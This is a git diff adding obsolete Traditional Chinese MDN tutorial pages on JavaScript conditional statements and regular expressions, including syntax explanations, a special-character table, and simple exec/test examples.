+<p><code>condition</code> 可以是任何可求值為 true 或 false 的表達式。如果 <code>condition</code> 的求值為 true，就會執行 <code>statement_1</code>，否則執行 <code>statement_2</code>。<code>statement_1</code> 和 <code>statement_2</code> 可以是任何的語句，包括嵌套的 <code>if</code> 語法。</p>
+<p>你也可以使用 <code>else if</code> 來組合語句，並依序測試各個條件，如下︰</p>
+<pre class="eval">if (condition)
+   statement_1
+[else if (condition_2)
+   statement_2]
+...
+[else if (condition_n_1)
+   statement_n_1]
+[else
+   statement_n]
+</pre>
+<p>要執行多個語句，就使用區塊語法（<code>{ ... }</code>）把語句群組化。一般來說，固定使用區塊語法是非常好的作法，尤其是當代碼內部還有嵌套的 <code>if</code> 語法時︰</p>
+<pre class="eval">if (condition) {
+   statements_1
+} else {
+   statements_2
+}
+</pre>
+<p>不要在條件表達式裡使用簡單的代入動作會比較明智，因為在快速瀏覽代碼時，代入和相等很容易彼此混淆。例如，不要使用如下代碼︰</p>
+<pre class="eval">if (x = y) {
+   /* 做一些事 */
+}
+</pre>
+<p>如果你需要在條件表達式中使用代入的話，常見的作法是在代入語句加上額外的括弧。例如︰</p>
+<pre class="eval">if ((x = y)) {
+   /* 做一些事 */
+}
+</pre>
+<p>不要把 Boolean 物件的 true、false 值和原始的布林值 <code>true</code>、<code>false</code> 相混淆。任何值只要不是 <code>undefined</code>、<code>null</code>、<code>0</code>、<code>NaN</code>、空字串 (<code>""</code>)、物件，即使是含有 false 值的 Boolean 物件，傳給條件語法的求值結果也會是 true。例如︰</p>
+<pre class="eval">var b = new Boolean(false);
+if (b) // 這個條件的求值結果為 true
+</pre>
+<p><strong>範例</strong><br>
+在以下的範例中，如果在 <code>Text</code> 物件裡的字元數目為 3，函數 <code>checkData</code> 就返回 true。否則，他會顯示警報並返回 false。</p>
+<pre class="eval">function checkData() {
+   if (document.form1.threeChar.value.length == 3) {
+      return true;
+   } else {
+      alert("Enter exactly three characters. " +
+         document.form1.threeChar.value + " is not valid.");
+      return false;
+   }
+}
+</pre><h4 id="switch_語法" name="switch_語法">switch 語法</h4>
+<p><code>switch</code> 語法可讓程式對表達式求值，並試著以表達式的值來一一比對 case 標籤。如果發現比對符合，程式就會執行與之關聯的語句。<code>switch</code> 語法如下︰</p>
+<pre class="eval">switch (expression) {
+   case label_1:
+      statements_1
+      [break;]
+   case label_2:
+      statements_2
+      [break;]
+   ...
+   default:
+      statements_def
+      [break;]
+}
+</pre>
+<p>程式首先從附有標籤的 <code>case</code> 子句找出能夠符合表達式的值的標籤，然後把控制權轉移到那個子句，並執行與之相關的語句。如果找不到相符的標籤，程式就會尋找選用性的 <code>default</code> 子句，如果找到的話，就把控制權轉移到那個子句，並執行與之相關的語句。如果找不到 <code>default</code> 子句，程式就會繼續執行 <code>switch</code> 語法後面的語句。根據慣例，<code>default</code> 語句一定是最後一個子句，但是並非只能這樣使用。</p>
+<p>可用在每一個 <code>case</code> 子句的選用性 <code>break</code> 語法，可確實從 <code>switch</code> 裡已執行完且後面還有其他語句的符合語句中跳出。如果省略 <code>break</code>，程式就會繼續執行 <code>switch</code> 語法裡的下一個語法。</p>
+<p><strong>範例</strong><br>
+在以下範例中，如果 <code>fruittype</code> 求值為 "Bananas"，程式就會比對出 case "Bananas" 的值，並執行相聯的語句。如果遇到 <code>break</code>，程式就會終止 <code>switch</code> 並執行 <code>switch</code> 後面的語句。如果省略了 <code>break</code>，case "Cherries" 裡的語句也會被執行。</p>
+<pre>switch (fruittype) {
+   case "Oranges":
+      document.write("Oranges are $0.59 a pound.&lt;br&gt;");
+      break;
+   case "Apples":
+      document.write("Apples are $0.32 a pound.&lt;br&gt;");
+      break;
+   case "Bananas":
+      document.write("Bananas are $0.48 a pound.&lt;br&gt;");
+      break;
+   case "Cherries":
+      document.write("Cherries are $3.00 a pound.&lt;br&gt;");
+      break;
+   case "Mangoes":
+   case "Papayas":
+      document.write("Mangoes and papayas are $2.79 a pound.&lt;br&gt;");
+      break;
+   default:
+      document.write("Sorry, we are out of " + fruittype + ".&lt;br&gt;");
+}
+document.write("Is there anything else you'd like?&lt;br&gt;");
+</pre>
+<div class="noinclude">
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:區塊語法", "Core_JavaScript_1.5_教學:循環語法") }}</p>
+</div>
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Conditional_Statements", "fr": "fr/Guide_JavaScript_1.5/Instructions_conditionnelles", "ja": "ja/Core_JavaScript_1.5_Guide/Conditional_Statements", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Instrukcje_warunkowe" } ) }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/正規表達式模式的編寫/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/正規表達式模式的編寫/index.html
new file mode 100644
index 0000000000..e07b2f6aa4
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/正規表達式模式的編寫/index.html
@@ -0,0 +1,184 @@
+---
+title: 正規表達式模式的編寫
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/正規表達式模式的編寫
+---
+<p>正規表達式的模式是由簡單的字元所組成，如 <code>/abc/</code>，或由簡單的和特殊的字元所組成，如 <code>/ab*c/</code> 或 <code>/Chapter (\d+)\.\d*/</code>。後者含有用來記憶的括弧。以模式的某一部分所產生的比對結果會被記憶起來以供稍後使用，已在 <a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E6%AD%A3%E5%89%87%E8%A1%A8%E9%81%94%E5%BC%8F%E7%9A%84%E9%81%8B%E7%94%A8/%E6%8B%AC%E5%BC%A7%E5%AD%90%E5%AD%97%E4%B8%B2%E7%9A%84%E6%AF%94%E5%B0%8D%E7%B5%90%E6%9E%9C%E7%9A%84%E9%81%8B%E7%94%A8" title="zh tw/Core JavaScript 1.5 教學/正則表達式的運用/括弧子字串的比對結果的運用">括弧子字串的比對結果的運用</a> 一文中解說。</p>
+<h2 id="簡單模式的使用" name="簡單模式的使用">簡單模式的使用</h2>
+<p>簡單的模式直接由想要尋找的字元所組成。例如，<code>/abc/</code> 的模式只在字元 'abc' 以同樣順序一起出現時，比對出字串裡的字元。在字串 "Hi, do you know your abc's?" 和 "The latest airplane designs evolved from slabcraft." 中將會比對成功。在兩個例子中，都比對出子字串 'abc'。在字串 "Grab crab" 中沒有比對結果，因為字串裡並未含有子字串 'abc'。</p>
+<h2 id="特殊字元的使用" name="特殊字元的使用">特殊字元的使用</h2>
+<p>當搜尋的需求遠遠超出直接比對的能力時，如尋找 1 個以上的全部的 b，或是尋找含有特殊字元的空白部分。舉例來說，<code>/ab*c/</code> 的模式可比對出所有以 'a' 後接 0 個以上的全部的 'b'（* 的意思是前項出現 0 個以上）並緊接者 'c' 的字元。在字串 "cbbabbbbcdebc" 裡，可以比對出子字串 'abbbbc'。</p>
+<p>下表提供完整的列表，並解說可用於正規表達式的特殊字元。</p>
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th>字元</th>
+   <th>意義</th>
+  </tr>
+  <tr>
+   <td>\</td>
+   <td>可分為以下兩種︰
+    <ul>
+     <li>對於那些沒有特殊意義的字元，反斜線可指示下一個字元為特殊的、不照字面解譯。舉例來說，<code>/b/ </code> 比對字元 'b'。藉由在 b 前面放置反斜線，也就是使用 <code>/\b/</code>，這個字元的特殊意義就變成比對文字的邊界。</li>
+     <li>對於那些有特別意義的字元，就利用反斜線指示下一個字元並非特殊的、應該照字面解譯。舉例來說，* 是一個意義為前項出現 0 個以上的特殊字元。例如，<code>/a*/</code> 意思是比對 0 個以上的全部的 a。如果要照字面比對 *，就在前面加上反斜線。例如，<code>/a\*/</code> 比對出 'a*'。</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td>^</td>
+   <td>比對輸入的開頭處。如果把多行標誌設為 true，也會比對緊接在換行字元之後的字元。舉例來說，<code>/^A/</code> 不會在 "an A" 裡比對出 'A'，但會在 "An A" 裡比對出第一個 'A'。</td>
+  </tr>
+  <tr>
+   <td>$</td>
+   <td>比對輸入的末尾處。如果把多行標誌設為 true，也會比對緊接在換行字元之前的字元。舉例來說，<code>/t$/</code> 不會在 "eater" 裡比對出 't'，但會在 "eat" 裡比對出來。</td>
+  </tr>
+  <tr>
+   <td>*</td>
+   <td>比對前面的字元 0 次以上。舉例來說，<code>/bo*/</code> 在 "A ghost booooed" 比對出 'boooo'，並在 "A bird warbled" 比對出 'b'，但不會在 "A goat grunted" 比對出來。</td>
+  </tr>
+  <tr>
+   <td>+</td>
+   <td>比對前面的字元 1 次以上。等價於 {1,}。舉例來說，<code>/a+/</code> 在 "candy" 比對出 'a'，並在 "caaaaaaandy" 比對出所有的 a。</td>
+  </tr>
+  <tr>
+   <td>?</td>
+   <td>比對前面的字元 0 次或 1 次。
+    <p>舉例來說，<code>/e?le?/</code> 在 "angel" 比對出 'el'，並在 "angle" 比對出 'le'。</p>
+    <p>如果緊接在任何一個數量子 *、+、?、{} 之後來使用，將使數量子非貪婪（比對出最小的次數），而預設值是貪婪的（比對出最大的次數）。舉例來說，使用 <code>/\d+/</code> 比對 "123abc" 便返回 "123"，如果使用 <code>/\d+?/</code>，只有 "1" 會被比對出來。</p>
+    也用於表示預讀，在本表的 x(?=y) 和 x(?!y) 中有說明。</td>
+  </tr>
+  <tr>
+   <td>.</td>
+   <td>小數點比對任意的單一字元，除了換行字元以外。舉例來說，<code>/.n/</code> 在 "nay, an apple is on the tree" 比對出 'an' 和 'on'，而非 'nay'。</td>
+  </tr>
+  <tr>
+   <td>(x)</td>
+   <td>比對 'x' 並記憶此項比對結果。又稱為截取括弧（capturing parentheses）。舉例來說，<code>/(foo)/</code> 在 "foo bar" 裡比對出並記憶 'foo'。比對出來的子字串可以從比對結果的陣列的元素 <code>1</code>, ..., <code>n</code> 取回。</td>
+  </tr>
+  <tr>
+   <td>(?:x)</td>
+   <td>比對 'x' 但不記憶此項比對結果。又稱為非截取括弧。比對出來的子字串無法從比對結果的陣列的元素 <code>1</code>, ..., <code>n</code> 取回。</td>
+  </tr>
+  <tr>
+   <td>x(?=y)</td>
+   <td>比對 'x' 但只在 'x' 後面接續著 'y' 的時候。舉例來說，<code>/Jack(?=Sprat)/</code> 只在後面接續著 'Sprat' 的時候比對出 'Jack'。<code>/Jack(?=Sprat|Frost)/</code> 只在後面接續著 'Sprat' 或 'Frost' 的時候比對出 'Jack'。然而，'Sprat' 或 'Frost' 都不是比對結果的一部分。</td>
+  </tr>
+  <tr>
+   <td>x(?!y)</td>
+   <td>比對 'x' 但只在 'x' 後面沒有接續著 'y' 的時候。舉例來說，<code>/\d+(?!\.)/</code> 只在後面沒有接續著小數點的時候比對出數字。正規表達式 <code>/\d+(?!\.)/.exec("3.141")</code> 比對出 '141' 而非 '3.141'。</td>
+  </tr>
+  <tr>
+   <td>x|y</td>
+   <td>比對 'x' 或 'y'。舉例來說，<code>/green|red/</code> 在 "green apple" 比對出 'green'，並在 "red apple"比對出 'red'。</td>
+  </tr>
+  <tr>
+   <td>{n}</td>
+   <td>在此 n 是正整數。比對出恰好有 n 個的前面的字元。舉例來說，<code>/a{2}/</code> 不會在 "candy" 裡比對出 'a'，但在 "caandy" 裡比對出全部的 a，並在 "caaandy" 裡比對出前兩個 a。</td>
+  </tr>
+  <tr>
+   <td>{n,}</td>
+   <td>在此 n 是正整數。比對出至少 n 個的前面的字元。舉例來說，<code>/a{2,}/</code> 不會在 "candy" 裡比對出 'a'，但在 "caandy" 還有在 "caaaaaaandy" 裡比對出全部的 a。</td>
+  </tr>
+  <tr>
+   <td>{n,m}</td>
+   <td>在此 n 和 m 是正整數。比對出至少 n 個且至多 m 個的前面的字元。舉例來說，<code>/a{1,3}/</code> 在 "cndy" 裡比對不出來，但在 "candy" 比對出 'a'，在 "caandy" 比對出前兩個 a，並在 "caaaaaaandy" 比對出前三個 a，注意，當比對 "caaaaaaandy" 的時候，比對的是 "aaa"，即使字串裡有更多的 a。</td>
+  </tr>
+  <tr>
+   <td><code>xyz</code></td>
+   <td>字元集。比對出包含在括號裡的其中任何一個字元。你可以使用連接符號 (-) 指定字元的範圍。舉例來說，<code>abcd</code> 等於 <code>a-d</code>。這些都能在 "brisket" 裡比對 'b'，並在 "city" 裡比對 'c'。</td>
+  </tr>
+  <tr>
+   <td>^xyz</td>
+   <td>字元否定集、或字元補集。也就是比對出任何不包含在括號裡的一切。你可以使用連接符號 (-) 指定字元的範圍。舉例來說，<code>^abc</code> 等於 <code>^a-c</code>。這些都能在 "brisket" 裡比對出第一個字母 'r'，並在 "chop" 比對出 'h'。</td>
+  </tr>
+  <tr>
+   <td>\\b</td>
+   <td>比對退格。（別和 \b 混淆。）</td>
+  </tr>
+  <tr>
+   <td>\b</td>
+   <td>比對文字邊界，如空白或換行字元。（別和 <code>\\b</code> 混淆。）舉例來說，<code>/\bn\w/</code> 在 "noonday" 裡比對出 'no'，<code>/\wy\b/</code> 在 "possibly yesterday" 比對出 'ly'。</td>
+  </tr>
+  <tr>
+   <td>\B</td>
+   <td>比對非文字邊界。舉例來說，<code>/\w\Bn/</code> 在 "noonday" 裡比對出 'on'，<code>/y\B\w/</code> 在 "possibly yesterday" 裡比對出 'ye'。</td>
+  </tr>
+  <tr>
+   <td>\cX</td>
+   <td>在此 X 是控制字元。在字串中比對控制字元。舉例來說，<code>/\cM/</code> 在字串裡比對出 control-M。</td>
+  </tr>
+  <tr>
+   <td>\d</td>
+   <td>比對數字字元。等於 <code>0-9</code>。舉例來說，<code>/\d/</code> 或 <code>/0-9/</code> 都在 "B2 is the suite number" 比對出 '2'。</td>
+  </tr>
+  <tr>
+   <td>\D</td>
+   <td>比對非數字字元。等於 <code>^0-9</code>。舉例來說，<code>/\D/</code> 或 <code>/^0-9/</code> 都在 "B2 is the suite number" 比對出 'B'。</td>
+  </tr>
+  <tr>
+   <td>\f</td>
+   <td>比對換頁（form-feed）。</td>
+  </tr>
+  <tr>
+   <td>\n</td>
+   <td>比對換行。</td>
+  </tr>
+  <tr>
+   <td>\r</td>
+   <td>比對歸位。</td>
+  </tr>
+  <tr>
+   <td>\s</td>
+   <td>比對單一空白字元，包括空白、TAB、換頁、換行。等於
+    <p><code>\\f\\n\\r\\t\\v\\u00A0\\u2028\\u2029</code>。</p>
+    舉例來說，<code>/\s\w*/</code> 在 "foo bar" 裡比對出 ' bar'。</td>
+  </tr>
+  <tr>
+   <td>\S</td>
+   <td>比對除了空白字元以外的單一字元。等於
+    <p><code>^ \\f\\n\\r\\t\\v\\u00A0\\u2028\\u2029</code>。</p>
+    舉例來說，<code>/\S\w*/</code> 在 "foo bar" 裡比對出 'foo'。</td>
+  </tr>
+  <tr>
+   <td>\t</td>
+   <td>比對 TAB。</td>
+  </tr>
+  <tr>
+   <td>\v</td>
+   <td>比對垂直 TAB。</td>
+  </tr>
+  <tr>
+   <td>\w</td>
+   <td>比對任何字母和數字的字元，包括底線。等於 A-Za-z0-9_。舉例來說，<code>/\w/</code> 在 "apple" 裡比對出 'a'，在 "$5.28" 裡比對出 '5'，並在 "3D" 比對出 '3'。</td>
+  </tr>
+  <tr>
+   <td>\W</td>
+   <td>比對任何非字母和數字的字元。等於 {{ mediawiki.external('^A-Za-z0-9_') }}。舉例來說，<code>/\W/</code> 或 <code>/{{ mediawiki.external('^A-Za-z0-9_') }}/</code> 在 "50%" 裡比對出 '%'。</td>
+  </tr>
+  <tr>
+   <td>\n</td>
+   <td>在此 n 是正整數。回向參考在正規表達式中的第 n 個括弧中比對的最後的子字串（對左括弧計數）。舉例來說，<code>/apple(,)\sorange\1/</code> 在 "apple, orange, cherry, peach" 裡比對出 'apple, orange,'。</td>
+  </tr>
+  <tr>
+   <td>\0</td>
+   <td>比對 NUL 字元。後面不可以接續其他數字。</td>
+  </tr>
+  <tr>
+   <td>\xhh</td>
+   <td>比對內碼為 hh 的字元（兩個十六進位數）</td>
+  </tr>
+  <tr>
+   <td>\uhhhh</td>
+   <td>比對內碼為 hhhh 的字元（四個十六進位數）</td>
+  </tr>
+ </tbody>
+</table>
+<p><small><strong>表 4.1: 正規表達式裡的特殊字元。</strong></small></p>
+<h2 id="括弧的使用" name="括弧的使用">括弧的使用</h2>
+<p>使用括弧把正規表達式的模式的某一部分括起來，就會記憶那部分被比對出來的子字串。一經記憶，就可以在其他地方取回並使用。可在 <a class="new internal" href="/../../../../zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E6%AD%A3%E5%89%87%E8%A1%A8%E9%81%94%E5%BC%8F%E7%9A%84%E9%81%8B%E7%94%A8/%E6%8B%AC%E5%BC%A7%E5%AD%90%E5%AD%97%E4%B8%B2%E7%9A%84%E6%AF%94%E5%B0%8D%E7%B5%90%E6%9E%9C%E7%9A%84%E9%81%8B%E7%94%A8" rel="internal" title="../../../../zh tw/Core JavaScript 1.5 教學/正則表達式的運用/括弧子字串的比對結果的運用">括弧子字串的比對結果的運用</a> 一文中找到說明。</p>
+<p>舉例來說，以 <code>/Chapter (\d+)\.\d*/</code> 的模式來解說額外的跳脫和特殊字元，那些用來指示某一部分模式需要記憶的部分。他會比對恰好是 'Chapter ' 的字元，隨後是 1 個以上的數字（\d 的意思是任意數字字元，+ 的意思是 1 次以上），隨後是一個小數點（點本身是特殊字元，前面附上 \ 的點的意思是這個模式必須尋找字面為 '.' 的字元），隨後是任何 0 個以上的數字（\d 的意思是任意數字字元，* 的意思是 0 次以上）。此外，括弧被用來記憶第一次比對出來的數字字元。</p>
+<p>在 "Open Chapter 4.3, paragraph 6" 裡可以找出這個模式，且 '4' 會被記憶。在 "Chapter 3 and 4" 裡則找不出這個模式，因為字串裡的 '3' 後面沒有點。</p>
+<p>若要比對子字串，且不要記憶比對出來的那一部分，可在括弧裡面的最前面加上 <code>?:</code>。舉例來說，<code>(?:\d+)</code> 比對 1 個以上的數字字元，但不會記憶那些比對出來的字元。</p>
+<div class="noinclude">
+ <p>{{ PreviousNext("Core_JavaScript_1.5_教學:正規表達式的建立", "Core_JavaScript_1.5_教學:正規表達式的運用") }}</p>
+</div>
+<p> </p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/正規表達式的建立/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/正規表達式的建立/index.html
new file mode 100644
index 0000000000..ffeee0f5c7
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/正規表達式的建立/index.html
@@ -0,0 +1,34 @@
+---
+title: 正規表達式的建立
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/正規表達式的建立
+---
+<h3 id="正則表達式的建立" name="正則表達式的建立">正規表達式的建立</h3>
+<p>正規表達式有兩種建構方式︰</p>
+<ul>
+ <li>使用正規表達式的字面表達，如下︰</li>
+</ul>
+<pre> re = /ab+c/; </pre>
+<dl>
+ <dd>
+  <dl>
+   <dd>
+    正規表達式的字面表達會在對 Script 求值時提供正規表達式的編譯產物。這時正規表達式將成為常數而遺留下來，採用這個方式可以得到較好的效能。</dd>
+  </dl>
+ </dd>
+</dl>
+<ul>
+ <li>呼叫 <a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E5%8F%83%E8%80%83/%E5%85%A8%E5%9F%9F%E7%89%A9%E4%BB%B6/RegExp" title="zh tw/Core JavaScript 1.5 參考/全域物件/RegExp">RegExp</a> 物件的建構子函數，如下︰</li>
+</ul>
+<pre> re = new RegExp("ab+c"); </pre>
+<dl>
+ <dd>
+  <dl>
+   <dd>
+    使用建構子函數可在執行時期提供正規表達式的編譯產物。當你知道正規表達式的模式將會變更時，或者當你無法預知取自其他來源的模式（如使用者的輸入）時，就使用建構子函數。</dd>
+  </dl>
+ </dd>
+</dl>
+<div class="noinclude">
+ <p>{{ PreviousNext("Core_JavaScript_1.5_教學:運算子:特殊運算子", "Core_JavaScript_1.5_教學:正規表達式模式的編寫") }}</p>
+</div>
+<p> </p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/正規表達式的運用/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/正規表達式的運用/index.html
new file mode 100644
index 0000000000..6a49a9de96
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/正規表達式的運用/index.html
@@ -0,0 +1,58 @@
+---
+title: 正規表達式的運用
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/正規表達式的運用
+translation_of: Web/JavaScript/Guide/Regular_Expressions
+---
+<ul> <li><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E6%AD%A3%E8%A6%8F%E8%A1%A8%E9%81%94%E5%BC%8F%E7%9A%84%E9%81%8B%E7%94%A8/%E4%BD%BF%E7%94%A8%E6%A8%99%E8%AA%8C%E7%9A%84%E9%80%B2%E9%9A%8E%E6%90%9C%E5%B0%8B" title="zh tw/Core JavaScript 1.5 教學/正則表達式的運用/使用標誌的進階搜尋">使用標誌的進階搜尋</a></li> <li><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E6%AD%A3%E8%A6%8F%E8%A1%A8%E9%81%94%E5%BC%8F%E7%9A%84%E9%81%8B%E7%94%A8/%E6%8B%AC%E5%BC%A7%E5%AD%90%E5%AD%97%E4%B8%B2%E7%9A%84%E6%AF%94%E5%B0%8D%E7%B5%90%E6%9E%9C%E7%9A%84%E9%81%8B%E7%94%A8" title="zh tw/Core JavaScript 1.5 教學/正則表達式的運用/括弧子字串的比對結果的運用">括弧子字串的比對結果的運用</a></li> <li><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E6%AD%A3%E8%A6%8F%E8%A1%A8%E9%81%94%E5%BC%8F%E7%9A%84%E9%81%8B%E7%94%A8/%E6%AD%A3%E8%A6%8F%E8%A1%A8%E9%81%94%E5%BC%8F%E7%9A%84%E7%AF%84%E4%BE%8B" title="zh tw/Core JavaScript 1.5 教學/正規表達式的運用/正規表達式的範例">正規表達式的範例</a></li>
+</ul>
+<h3 id="正則表達式的運用" name="正則表達式的運用">正規表達式的運用</h3>
+<p>RegExp 的 <code>test</code> 和 <code>exec</code> 方法，還有 String 的 <code>match</code>、<code>replace</code>、<code>search</code>、<code>split</code> 方法都有使用到正規表達式。這些方法在 <a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E5%8F%83%E8%80%83" title="zh tw/Core JavaScript 1.5 參考">Core JavaScript 參考</a> 中已有詳細說明。</p>
+<table class="fullwidth-table"> <tbody> <tr> <th>方法</th> <th>說明</th> </tr> <tr> <td><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E5%8F%83%E8%80%83/%E5%85%A8%E5%9F%9F%E7%89%A9%E4%BB%B6/RegExp/exec" title="zh tw/Core JavaScript 1.5 參考/全域物件/RegExp/exec">exec</a></td> <td>RegExp 的方法，在字串中比對以執行搜尋。他會返回搜尋資訊的陣列。</td> </tr> <tr> <td><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E5%8F%83%E8%80%83/%E5%85%A8%E5%9F%9F%E7%89%A9%E4%BB%B6/RegExp/test" title="zh tw/Core JavaScript 1.5 參考/全域物件/RegExp/test">test</a></td> <td>RegExp 的方法，在字串中比對以進行測試。他會返回 true 或 false。</td> </tr> <tr> <td><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E5%8F%83%E8%80%83/%E5%85%A8%E5%9F%9F%E7%89%A9%E4%BB%B6/String/match" title="zh tw/Core JavaScript 1.5 參考/全域物件/String/match">match</a></td> <td>String 的方法，在字串中比對以執行搜尋。他會返回搜尋資訊的陣列，或在比對不出時返回 null。</td> </tr> <tr> <td><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E5%8F%83%E8%80%83/%E5%85%A8%E5%9F%9F%E7%89%A9%E4%BB%B6/String/search" title="zh tw/Core JavaScript 1.5 參考/全域物件/String/search">search</a></td> <td>String 的方法，在字串中比對以進行測試。他會返回符合比對的索引，或在搜尋失敗時返回 -1。</td> </tr> <tr> <td><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E5%8F%83%E8%80%83/%E5%85%A8%E5%9F%9F%E7%89%A9%E4%BB%B6/String/replace" title="zh tw/Core JavaScript 1.5 參考/全域物件/String/replace">replace</a></td> <td>String 的方法，在字串中比對以執行搜尋，並以其他子字串取代符合比對的子字串。</td> </tr> <tr> <td><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E5%8F%83%E8%80%83/%E5%85%A8%E5%9F%9F%E7%89%A9%E4%BB%B6/String/split" title="zh tw/Core JavaScript 1.5 參考/全域物件/String/split">split</a></td> <td>String 的方法，使用正規表達式或固定的字串，把字串分割為子字串的陣列。</td> </tr> </tbody>
+</table>
+<p><small><strong>表 4.2: 使用了正規表達式的方法</strong></small></p>
+<p>當你想知道是否可以在字串裡找出某個模式，可以使用 <code>test</code> 或 <code>search</code> 方法。要更詳細的資訊（不過執行速度也慢）可以使用 <code>exec</code> 或 <code>match</code> 方法。如果你使用 <code>exec</code> 或 <code>match</code> 並且比對成功，這些方法會返回陣列，並更新相關聯的正規表達式物件包括預先定義的 <code>RegExp</code> 的屬性，如果比對失敗，<code>exec</code> 方法返回 <code>null</code>（可轉換為 false）。</p>
+<p>在以下的範例中，Script 使用了 <code>exec</code> 方法來在字串裡尋找符合的字串。</p>
+<pre>&lt;SCRIPT type="text/javascript"&gt;
+  myRe = /d(b+)d/g;
+  myArray = myRe.exec("cdbbdbsbz");
+&lt;/SCRIPT&gt;
+</pre>
+<p>如果你不需要存取正規表達式的屬性，另一個建立 <code>myArray</code> 的方式如下 Script︰</p>
+<pre>&lt;SCRIPT type="text/javascript"&gt;
+  myArray = /d(b+)d/g.exec("cdbbdbsbz");
+&lt;/SCRIPT&gt;
+</pre>
+<p>如果你想要從字串來建構正規表達式，還有其他選擇如下 Script︰</p>
+<pre>&lt;SCRIPT type="text/javascript"&gt;
+  myRe = new RegExp ("d(b+)d", "g");
+  myArray = myRe.exec("cdbbdbsbz");
+&lt;/SCRIPT&gt;
+</pre>
+<p>這些 Script 比對成功並返回陣列，並更新顯示在下表中的屬性。</p>
+<table class="fullwidth-table"> <tbody> <tr> <th>物件</th> <th>屬性或索引</th> <th>說明</th> <th>上面的範例</th> </tr> <tr> <td>myArray</td> <td> </td> <td>比對符合的字串和所有已記憶的子字串。</td> <td>{{ mediawiki.external('\"dbbd\", \"bb\"') }}</td> </tr> <tr> <td> </td> <td>index</td> <td>在輸入的字串中比對符合的索引位置。索引從 0 開始。</td> <td>1</td> </tr> <tr> <td> </td> <td>input</td> <td>原始的字串。</td> <td>"cdbbdbsbz"</td> </tr> <tr> <td> </td> <td>{{ mediawiki.external(0) }}</td> <td>最後一次比對符合的字元。</td> <td>"dbbd"</td> </tr> <tr> <td>myRe</td> <td>lastIndex</td> <td>下一個符合項的開始處的索引位置。（這個屬性只在正規表達式使用 g 選項時設定，選項的說明在 <a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E6%AD%A3%E8%A6%8F%E8%A1%A8%E9%81%94%E5%BC%8F%E7%9A%84%E9%81%8B%E7%94%A8/%E4%BD%BF%E7%94%A8%E6%A8%99%E8%AA%8C%E7%9A%84%E9%80%B2%E9%9A%8E%E6%90%9C%E5%B0%8B" title="zh tw/Core JavaScript 1.5 教學/正則表達式的運用/使用標誌的進階搜尋">使用標誌的進階搜尋</a>。）</td> <td>5</td> </tr> <tr> <td> </td> <td>source</td> <td>模式的文字。在正規表達式建立時更新，而非執行時。</td> <td>"d(b+)d"</td> </tr> </tbody>
+</table>
+<p><small><strong>表 4.3: 正規表達式的執行結果。</strong></small></p>
+<p>如上第二個範例所示，你可以藉由物件的初始化子使用正規表達式，而無需代入到變數裡。然而，如果你這樣做的話，每一次使用的都會是新的正規表達式。因此，如果你使用這個形式而不代入到變數，之後你就沒辦法存取正規表達式的屬性。舉例來說，假設你有這個 Script︰</p>
+<pre>&lt;SCRIPT type="text/javascript"&gt;
+  myRe = /d(b+)d/g;
+  myArray = myRe.exec("cdbbdbsbz");
+  document.writeln("The value of lastIndex is " + myRe.lastIndex);
+&lt;/SCRIPT&gt;
+</pre>
+<p>Script 顯示︰</p>
+<pre>The value of lastIndex is 5
+</pre>
+<p>然而，如果你有這個 Script︰</p>
+<pre>&lt;SCRIPT type="text/javascript"&gt;
+  myArray = /d(b+)d/g.exec("cdbbdbsbz");
+  document.writeln("The value of lastIndex is " + /d(b+)d/g.lastIndex);
+&lt;/SCRIPT&gt;
+</pre>
+<p>他會顯示︰</p>
+<pre>The value of lastIndex is 0
+</pre>
+<p><code>/d(b+)d/g</code> 在兩個語句中是不同的正規表達式物件，也因此各自對 <code>lastIndex</code> 屬性有著不同的變數。如果你需要存取以物件初始化子所建立的正規表達式的屬性，你應該先把他代入到變數裡。</p>
+<div class="noinclude">
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:正規表達式模式的編寫", "Core_JavaScript_1.5_教學:正規表達式的運用:括弧子字串的比對結果的運用") }}</p>
+</div>
